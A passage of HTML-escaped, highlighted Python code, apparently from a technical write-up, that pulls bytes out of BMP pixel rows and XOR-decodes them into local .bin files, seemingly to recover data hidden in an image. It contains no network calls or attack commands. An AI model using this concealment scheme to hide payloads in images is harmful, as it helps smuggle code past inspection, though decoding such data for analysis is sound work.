&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#print (&amp;#34;Row: &amp;#34;, i, len(bmp_img_data[i]), end=&amp;#39;&amp;#39;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#print (row_count, &amp;#34; &amp;#34;, end=&amp;#34;&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;c1&#34;&gt;# AARRGGBB&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;R&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;][&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;    &lt;span class=&#34;c1&#34;&gt;# 05&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;G&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;][&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# 16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;B&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;][&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# 01&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;A&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;][&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# 00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;B&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;G&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;R&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;A&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#print (&amp;#34;.. row loaded&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;1st bytes&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;print_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[:&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;first_bytes_value&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;struct&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;unpack&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;I&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;##&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#### XOR_DEC Start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Data Length: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Pre XORed data&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;print_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;test-prexor.bin&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;XORing Image data&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# below is either B5 or 00 ^ 112&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#lastdata = 0x67&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;static_xor_val&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x67&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;lastdata&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key_modifier&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;lastdata&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;^&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;static_xor_val&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#key_modifier = 0xb5 ^ 112  # 0xc5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#key_modifier = 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;key: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;lastdata&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34; len: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;found key: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;hex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]),&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34; mod key: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key_modifier&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;xor_i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;n&#34;&gt;key_value&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;n&#34;&gt;output_array&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;xor_i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;^&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key_modifier&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;^&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key_value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plain_key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Final Output&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;print_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;output_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;print_len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;test-postxor.bin&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
